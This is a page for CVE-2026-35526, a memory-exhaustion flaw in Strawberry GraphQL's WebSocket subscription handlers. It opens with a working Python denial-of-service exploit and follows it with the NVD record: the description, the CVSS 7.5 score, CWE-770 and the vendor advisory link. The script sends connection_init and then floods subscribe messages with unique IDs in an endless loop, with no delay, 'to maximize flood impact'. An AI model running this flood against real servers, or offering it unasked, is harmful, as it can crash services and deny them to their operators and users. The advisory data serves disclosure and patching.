CVE-2026-35526

import asyncio import websockets import json async def exploit(target_url): # Connect to the vulnerable WebSocket endpoint uri = f"{target_url}/graphql" async with websockets.connect(uri) as websocket: # Step 1: Send connection_init message await websocket.send(json.dumps({"type": "connection_init"})) # Wait for connection_ack (optional, depends on server config) response = await websocket.recv() print(f"Server response: {response}") # Step 2: Flood subscribe messages to exhaust memory payload = { "id": "1", "type": "subscribe", "payload": { "query": "subscription { test }" } } print("Starting DoS attack...") try: i = 0 while True: # Send unique subscribe message payload["id"] = str(i) await websocket.send(json.dumps(payload)) i += 1 if i % 100 == 0: print(f"Sent {i} subscription messages...") # No sleep to maximize flood impact except Exception as e: print(f"Attack stopped or connection failed: {e}") if __name__ == "__main__": # Replace with actual target URL target = "ws://localhost:8000" asyncio.run(exploit(target))

{"cve": {"id": "CVE-2026-35526", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:28.843", "lastModified": "2026-04-17T20:37:10.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Strawberry GraphQL is a library for creating GraphQL APIs. Prior to 0.312.3, Strawberry GraphQL's WebSocket subscription handlers for both the graphql-transport-ws and legacy graphql-ws protocols allocate an asyncio.Task and associated Operation object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection. An unauthenticated attacker can open a single WebSocket connection, send connection_init, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new asyncio.Task and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash. This vulnerability is fixed in 0.312.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.312.3", "matchCriteriaId": "480FB826-3577-47DB-8F4B-B7B6F5C474E5"}]}]}], "references": [{"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-hv3w-m4g2-5x77", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}